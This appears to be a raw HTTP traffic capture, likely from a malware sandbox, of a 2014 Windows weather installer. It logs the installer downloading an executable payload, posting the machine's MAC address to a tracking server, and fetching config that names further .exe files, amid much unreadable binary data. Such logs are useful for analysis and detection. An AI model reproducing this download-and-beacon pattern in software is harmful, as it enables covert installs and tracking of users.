......Exif..II*.................Ducky.......d.....mhXXp://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:1D83D2A5C09EE3119F67BC560D35722B" xmpMM:DocumentID="xmp.did:94D6195DD97C11E3BF6BA573D74A4472" xmpMM:InstanceID="xmp.iid:94D6195CD97C11E3BF6BA573D74A4472" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:02B321837BD9E311B9DCEA1BD6C26215" stRef:documentID="xmp.did:1D83D2A5C09EE3119F67BC560D35722B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.................................................................................................................................................k._................................................................................................!..1..AQ"..aq.2#...B$....3..Rr.Cc.&.........................!..1A.Qaq"...2....B...r#...b.34.RCs$5.6............?..S.........8z*.S./...].v.s/......5.t...6.......q[z5.....SXF4.H...0S......c....7.E...;F.I)...E..<.T.~-...c.q>.m...3.-.KL....d.H&R*...{..a.......W.n.....7.b...r6.d...i......7....xe.fp.

<<

<<< skipped >>>

GET /cnzz/weather/weatherPng/cnzz.html HTTP/1.1

User-Agent: mfc5002

Host: weather51la.cnzz.uujzy.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:56 GMT

Content-Type: text/html

Content-Length: 2

Last-Modified: Wed, 18 Dec 2013 02:33:49 GMT

Connection: keep-alive

ETag: "52b1098d-2"

Accept-Ranges: bytes

OKHTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:56 GMT..Content-Type: text/html..Content-Length: 2..Last-Modified: Wed, 18 Dec 2013 02:33:49 GMT..Connection: keep-alive..ETag: "52b1098d-2"..Accept-Ranges: bytes..OK..

GET /favicon.ico HTTP/1.1

User-Agent: ...............

Host: lvdou.300duo.com

Connection: Keep-Alive

HTTP/1.1 302 Object moved

Date: Tue, 13 May 2014 04:49:23 GMT

Server: Microsoft-IIS/6.0

Location: hXXp://123.sogou.com/?22014

Content-Length: 148

Content-Type: text/html

Set-Cookie: daohang=0; path=/

Set-Cookie: ASPSESSIONIDAAQBQDRT=JPBGIBHAFGFCCDGADMHIOFKD; path=/

Cache-control: private

<head><title>Object moved</title></head>.<body><h1>Object Moved</h1>This object may be found <a HREF="hXXp://123.sogou.com/?22014">here</a>.</body>.HTTP/1.1 302 Object moved..Date: Tue, 13 May 2014 04:49:23 GMT..Server: Microsoft-IIS/6.0..Location: hXXp://123.sogou.com/?22014..Content-Length: 148..Content-Type: text/html..Set-Cookie: daohang=0; path=/..Set-Cookie: ASPSESSIONIDAAQBQDRT=JPBGIBHAFGFCCDGADMHIOFKD; path=/..Cache-control: private..<head><title>Object moved</title></head>.<body><h1>Object Moved</h1>This object may be found <a HREF="hXXp://123.sogou.com/?22014">here</a>.</body>...

GET /imgn/v32/selogo_111207.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p1.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/png

Content-Length: 12155

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:23 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR...a...?.....V.......pHYs................OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE...........Q,......!.........{.k........>...........H3Q5...B..........@..$p....d!s.#...~<< ".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I. .6a.a.@..y..2.4..............x.....6..._-...."bb.....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<......$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?....D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/.@.4.Qh..p...U..=p..a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9., .......3...!.[..b@q..S.(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._... .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).)..4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC].@C.a.a......<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......

<<

<<< skipped >>>

GET /imgn/sehome/tjv1/subnav_v41.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/png

Content-Length: 3655

Last-Modified: Mon, 28 Jan 2013 13:46:09 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:23 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR...............x.....sBIT.....O.....PLTE"5R..L4s...$.?....fff............iV*.ji......t.........hC...)Bd.....k...........f......9..............Q`w..Y[ZZ.......YRGGG;`......k.4/..B..E...J..f..........`.....}...-D.....zq...f......rP..T........N....eW...i|...r..`..LGt...dR....<..................O....T..........MI.../Kr.J-...........t..e.....}}.....333..I......wvw`..I}........iC......4U.....( .................3.....W.....:.."w....S........n..x.....B.....\..sAj...r..b........d...........}b...........IYq...9X......Jr......m9.....Q.........].......a..:.yR..G......Lz.k..........~..f........IEq...Qp........... Fj................................m..Ko....^9].........z........jW........T....S7Qs.....[..W..C..J....................................b..Cm.R}............J..')Jk{.......:..cl..=d......k..;..H.....jLt.B..f....tRNS................................................................................................................................................................................................................................................................s.......pHYs...........~.....tEXtSoftware.Adobe FireworksO..N....tEXtXML:com.adobe.xmp.<?xpacket begin=" " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com

<<

<<< skipped >>>

GET /imgn/v32/titlebg.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:24 GMT

Content-Type: image/png

Content-Length: 2842

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:24 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR.............b.......pHYs................OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE...........Q,......!.........{.k........>...........H3Q5...B..........@..$p....d!s.#...~<< ".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I. .6a.a.@..y..2.4..............x.....6..._-...."bb.....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<......$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?....D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/.@.4.Qh..p...U..=p..a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9., .......3...!.[..b@q..S.(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._... .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).)..4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC].@C.a.a......<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......

<<

<<< skipped >>>

GET /u/js/ufo2.js HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: application/x-javascript

Last-Modified: Tue, 06 Nov 2012 08:12:45 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Tue, 20 May 2014 04:49:25 GMT

Cache-Control: max-age=604800

Content-Encoding: gzip

600a...............v.G....<.....X.D.={...m.....MK.v7I{.R.A.......<.y..d.......!.g.Y..ZDU.=#.......]..M.|.....o.O..^..=\\.m..b9y4......{...j.o...t1o..A.6>..G...}._....O.g....e..Y....e.x...W.....j...M.[....Yw..]..../{...b......n.;x..../F..w.%.G.Y.m....a.`.^.....l~S4.?:j......7..Y.U6[..n.=).......f]6..1..io1...../.I.u.^...u.mc..).....{..g =....f6k..o.`t.hPa.;.u.n....9j..............3.......u{w....4.J.....]X.Q...NK{<^,....|..f...Q.4.<.nOW_]]...0.(..f.dp.j.....t~S....f..h.e.h.(..&.....y... {..g.....f.........f.?.6.(.s.@5Z..........l...g.G..[....*.@u...cm...y.....@r..P>N.............l.wE?u%....l....Y...>u.W.~.9.T0..G..........g.;(..js.Og..8a......V.W..`;.......?_.........a.q.....*..Y8..M.U.9h.e._._..7W@..e....B6e..~5 ..u..<h...d}....4....u..Jp:.v...0...xhx..........9h.<>.........P5.!-...e..v..WM.K.Eg(....0.n..W_.QN.v...}.e1f.....*&.aP.[.yw.._.. ..3...r].Mhr>...$|.6.....SN.G..E.=.y..;.=).G...[0.Zm.G#.`X..........y...?.O.v..4o..M.... ..MGc..>B...fV......<....~o_..IY/.........]....C.0....2..aN........w....w..n.n....u.|}5....b^..L....?x.>...h#.lY...&..V.c#...o. ..k?....vK#.....l....^.`..0..t./..u.vS.H}.e....&v....m....02\.b?v.".......... .W.0......=z..p9...0..k..~....Z...\.W...N.i....."?5.3..p.....m....t^....e....V'5c...|..|6.nb..W?9....,[;.\....K......F..8`...~.p...cq"....N..=.C.<j....x.S<.....C."^..g.C;w.}D,......Q..`....V|h..._.w..N....0.%..?.S....|.R}..........1......t<~29...A.N.g.....Z......H.....Ec1.....^s_..<....[.7{...!.....u2.... ...b8.A1.B8-...]._7.Z5.0.....

<<

<<< skipped >>>

GET /update/365/365weatherIns_61.rar HTTP/1.0

Host: lm.beilequ.com

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Server: nginx/1.1.19

Date: Tue, 13 May 2014 04:39:38 GMT

Content-Type: application/x-rar-compressed

Content-Length: 1038034

Last-Modified: Fri, 21 Mar 2014 05:24:42 GMT

Connection: close

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1H..u)..u)..u)...&..w)..u)...)...&..d)...6...).../..t)..Richu)..........PE..L.....:J.................\...........2.......p....@..........................`...............................................s.......p...............................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data...x............r..............@....ndata...0...@...........................rsrc........p.......v..............@..@........................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..X...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e..9}...Dp@........FP.VT........ M............U....M....3...3..FQ......3..NU.....M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...e....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F..

<<

<<< skipped >>>

GET /cnzz/weather/5.0.0.5002/weatherdata/_61/cnzz.html HTTP/1.1

User-Agent: mfc5002

Host: weather51la.cnzz.uujzy.com

Cache-Control: no-cache

Cookie: city=101010100

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:50:02 GMT

Content-Type: text/html

Content-Length: 198

Last-Modified: Wed, 16 Apr 2014 09:44:13 GMT

Connection: keep-alive

ETag: "534e50ed-c6"

Accept-Ranges: bytes

a556f5dd20dcbdfb274d34f5c504a160$2d204d39f2faa25896874c01c0135d760$bca7b8d364fc9c89c96702a19aa47a00$d8099717b5894a1c926de4f6fe36e650$bf60bbabd09f5e0270f38adbc02d36b0$b982497d26da6f0218296012b54c5ab0HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:50:02 GMT..Content-Type: text/html..Content-Length: 198..Last-Modified: Wed, 16 Apr 2014 09:44:13 GMT..Connection: keep-alive..ETag: "534e50ed-c6"..Accept-Ranges: bytes..a556f5dd20dcbdfb274d34f5c504a160$2d204d39f2faa25896874c01c0135d760$bca7b8d364fc9c89c96702a19aa47a00$d8099717b5894a1c926de4f6fe36e650$bf60bbabd09f5e0270f38adbc02d36b0$b982497d26da6f0218296012b54c5ab0....

GET /cnzz/weather/5.0.0.5002/weatherdata/_61/WeatherContext.xml HTTP/1.1

User-Agent: mfc5002

Host: weather51la.cnzz.uujzy.com

Cache-Control: no-cache

Cookie: city=101010100

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:50:04 GMT

Content-Type: text/xml

Content-Length: 509

Last-Modified: Fri, 21 Mar 2014 04:22:34 GMT

Connection: keep-alive

ETag: "532bbe8a-1fd"

Accept-Ranges: bytes

<html>..<title>........</title> ..<body scroll=no>..<skin>..<name>skin.xml</name>..<path>http://conf.f.360.cn/status.html</path>..<hash>ffa9975d557f9225ae0a0eb80212b98f</hash>..<size>0</size>..<type>0</type>..<cnzz>hXXp://int.dpool.sina.com.cn/iplookup$cnzz_ID_0</cnzz>..<cfg>hXXp://weather51la.cnzz.uujzy.com/cnzz/weather/5.0.0.5002/</cfg>..<cfg>hXXp://weather51la.cnzz.alivcd.com/cnzz/weather/5.0.0.5002/</cfg>..<tqy>AQI.5002.exe</tqy>..<chx>worldWeatherRealTime5002.exe</chx>..</skin>..</body>..</html>HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:50:04 GMT..Content-Type: text/xml..Content-Length: 509..Last-Modified: Fri, 21 Mar 2014 04:22:34 GMT..Connection: keep-alive..ETag: "532bbe8a-1fd"..Accept-Ranges: bytes..<html>..<title>........</title> ..<body scroll=no>..<skin>..<name>skin.xml</name>..<path>http://conf.f.360.cn/status.html</path>..<hash>ffa9975d557f9225ae0a0eb80212b98f</hash>..<size>0</size>..<type>0</type>..<cnzz>hXXp://int.dpool.sina.com.cn/iplookup$cnzz_ID_0</cnzz>..<cfg>hXXp://weather51la.cnzz.uujzy.com/cnzz/weather/5.0.0.5002/</cfg>..<cfg>hXXp://weather51la.cnzz.alivcd.com/cnzz/weather/5.0.0.5002/</cfg>..<tqy>AQI.5002.exe</tqy>..<chx>worldWeatherRealTime5002.exe</chx>.

<<

<<< skipped >>>

GET /imgu/2013/08/20130820165531_481.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p6.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:24 GMT

Content-Type: image/gif

Content-Length: 2049

Last-Modified: Tue, 20 Aug 2013 08:55:31 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:24 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a..y....1.....A.....c........t..S........9........I........Y..j...........<..L.....y.................X...........T..s.....J..J..a..c....................................................................!.....*.,......y....@.pH,....r.l:...tJ.*.X.*......6.]...3Z.^.........^..m........M\fDyH.[G.t.D.t.D........D..Y.X..D..........C..............c_x.......K..J. C.J....*..H......I.Y...I....J....".....G..X..H.....@.......".`O..e.28A....%..a..B... C...a...I.....$..EF\h@....E.. 2........h0d...H."e9AH....X.....1.....5...U.....lY,....I....B..@bA...x....$.......'.....@ 8".Wc.]..U. ...."\.PYX...@.8..C....aY.....q..;....8..A.;...............@..%....................s.....@..x..>.p..C,..H@..@......".]...u.B...0.....S...A.].."A......X(.............z\80Ak...@...@....p....g..#)..v.p... .$@..-.M.....E.,.@rBd....ET...\D..X.Q......9Ch..\B..@.ExW...`..5.`..[CH..5Hx."...@X..,..nF .H0W0....F...*P..I.@P.5..9...Q...&%.....0.wX.p....!......{XL"`..0P.v.bq....`A..0.......}h9....(@..]9......M\.T.... ...........W......:P.p.d?.DG.B..OA.<. .....U&..U.x.y...c..F......E..eT..g..@......q...z....A..X...C.gQ..Bh....(...@.....,...(4...Ll....`.4.....5.p...D.pY.>.,F...q.......K..A.X.)....-.......B.Pc....x .0p.`.0...^....C|l.........V..........!.".*3.BT........oX B&.q...s.$`....@...b.mP.......L]..m^@......!..A..k.6.b.yD..d.....o.Gc.$L.y..Bj^...S..O.S...............R?.E.Fz... .9....&.P.9@......j...w%...m]............ ..@...........&$...`*..n.C....?....0..0 b.b..Dh..0....L.aH.*R..(.........>F.M.p(.S...g<.....5.!Bi,...t.9.....c..p..de..

<<

<<< skipped >>>

GET /jsn/v33_sugg_ajaj_v40_3.js HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1399956570462_5852_00001; CKOR=6846_00001_00000; CKOD=3030_00000_00000; GOTO=Af22014

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: application/x-javascript

Last-Modified: Fri, 02 Aug 2013 03:01:34 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

12ba.............Z{w.........5{<."..;..Y.q...W<..;.\6.A.d..........VK.;...............5J.a..~-..Az...*..W.HM....j.....XJ0xt..R_. k.es...c.l..Y.Dz.;.......m...HUn..gJ}..k...,...z.:.3...J&n.-,6^.s..5...vS...`...Oc..Bw..z...T.Rz..4qm.~.N.T4...8.?`...........N.I......6....}...F.......9....v....;q....h...A4c....V...F.....k&j..a...91#.n....x...s.....N..`.h$M......}....?...?...=Yl..8K...................k.ZhA.o...ol.}...p....~n9I.. ..$.......L...w.......g....H...|f...4ADSy.(.......=^..v....v.'......u...gC..'*..*....#....Z......o..*.#'I#.v.....s.\>..6......5[c.|Vb.....l.l..k7N...._..D.....4.$l8.d...J..........m.....%.Z.F..-...>.3...k....a.D....U... 3U...]...w........c2...(..a...VO.$I.........s}...M9N.q.=.....9.0..._...,.|.He....r...........>g^....u.%....7.....DU..*..J....R'i.h%Q@.<.........%.7..%pVbO....V1'!!^..}...caj.b\......Qv....(.i.S.."..|...a..1..........X.....l.,9n....x0..6Tg........S.8.36&K..hhA....U.T.J....-.'.J..i..)...l.5.v.ih..w..l...fS.y..5...7o....i...P ..V......x.M..Z4.:h.@.-g..S..h.8.ss.C1i....4Z.Q...<..|.{X.o`!_..K.P.....a....>./...*/.|......m.X.W.!.....$...r(..4.....0|..|.* LzF.3->..k..:.X...\.].........Q..{._....'........Q9M.........q...........K.....GH..I..c.U....e>.../.'=N...-......W..^Y.p.!..>]..:.NU..GM..^o.9N.%.(GAD.v.&I...!.s.q2..F..q...."h....%...o.".M......H)..,...(..,z@.uI|...{..*....`x.....:...A..S......r.?}....!.`.0..&..!..#.#";.#....e3.0gG.J.=#..a.......Oz.|.q`..D.L... .z.....#..=6t.RTla)...[Gz'B3..:...b.SZ.}#W9.W...Vi....U>.)W.g....dZ(.. ....S.j>...#

<<

<<< skipped >>>

POST /post/ HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.xzsky.com

Content-Length: 137

Connection: Keep-Alive

Cache-Control: no-cache

mac=00-0C-29-8A-8B-37&soft_id=33&tuiguang_id=C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\365weatherIns_61.exe&yanzheng=318d97cc71dd4de571edddf8241ae5c0

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:38 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.15

0..HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:38 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Powered-By: PHP/5.3.15..0..

GET /pv.gif?uigs_productid=ufo&ufoid=ads&ptype=ads&pcode=ads&rdk=1399956570087&img=extra.gif&yyid=&ssuv=&m=&loc=&module=show&tag=172 HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pb.sogou.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:28 GMT

Content-Type: text/xml

Content-Length: 0

Connection: keep-alive

Set-Cookie: SUV=00DD04B9C18AF4E75371A458B1D10495; expires=Fri, 10-May-24 04:49:28 GMT; domain=.sogou.com; path=/

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

HTTP/1.1 200 OK..Server: nginx..Date: Tue, 13 May 2014 04:49:28 GMT..Content-Type: text/xml..Content-Length: 0..Connection: keep-alive..Set-Cookie: SUV=00DD04B9C18AF4E75371A458B1D10495; expires=Fri, 10-May-24 04:49:28 GMT; domain=.sogou.com; path=/..P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"..

GET /imgn/v51/new-erweima2.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:28 GMT

Content-Type: image/png

Content-Length: 18683

Last-Modified: Mon, 08 Jul 2013 10:16:12 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:28 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR...,...,........"..H.IDATx....x.U..'.R.D.Q....*...]A.;".".... 5$.%....I.=....^............?.I\2w.,......'..\....;..s....D......H.!.D..H$..D".I$.AH"..$.. $..B.... ...tuu..lcc..=.....}.6v.....S.wbaa..Dv..[$.|..!.=..9.....d....;......[?w..M..'.l....[.....d.....U.. $..B.. $..B.. $..B.. $..B.. $......AH..!|....t.....:.?......c........gi.....:::.s.p........{^.j.....~X..B1!...g..|.r.9..;W........J......yx>>>.sdB.....T..I.bgm.......~.Mu......V.....j....P4.d.........4n.MEK..1...5.tjjj............O^.h.....F.<..:...!AH....!AH....!AH....!A.~......yE.H.....!Ax..v..d..............j....U....*.%x..{d:.:.B.._vv.........."l..$.......OSS...g....y..'......l......rrr..z.@(..3..T<.].B......!CT.Ph.d.U. ...2....,.p.....@$::Z.........x.T<A<..!AH....!AH....!AH....!AH....!A..!...y.&L...@...c.......j.........(.....,l.k....7z..N.P^....O.....2R.!.qGA(..$.;.Y.........w[...C........l.qI....,!AH....!AH.>x..t.@(..!Te%aGA...".....!..QY..Z....5..d....%$..B.. $..B....N..[o.....^b6.>|.(.._..K?..#s.....6F.@f.....6......w.Q...={V........VVV2/..o.).AOO.y....#?.}l.;Y.V. ...=L._...bqL'..Q*.W..3......J%...(AH....!AH....!AH....!AH....!A.i.".....i....G.yDx.......f.....m.......@.3.d6....pwZZZJ....H.......]]]...N.y...P.ekx.T|P........B.....LK.........X.....~...b......!AH....!AH....!AH....!AH....!AH....6.C....s...*....k......2...7O....Lu.?....,..9Sx..b.tv...P.C.F...c....7..y......6l.6...e6f..|....c(...N~P.F'A.E..A.X..:.(....'T*...@h.p.T..]G.!AH....!AH....!AH....!AH........n..<W.c...c.....&..w1.....{V....;.= .)hjjz

<<

<<< skipped >>>

GET /imgn/sehome/tjv1/img-news.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/gif

Content-Length: 225

Last-Modified: Fri, 11 Jan 2013 08:57:48 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a.......................................................................................................!.......,..........^...dY"I"(...pl...$.0.|..6... .P..c..1....psF..TbZM......M${.S....Dj@.....f.lo...v%.fD...)..#.!.;....

GET /imgn/sehome/tjv1/img-video-2.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/gif

Content-Length: 225

Last-Modified: Wed, 15 May 2013 13:45:48 GMT

Connection: keep-alive

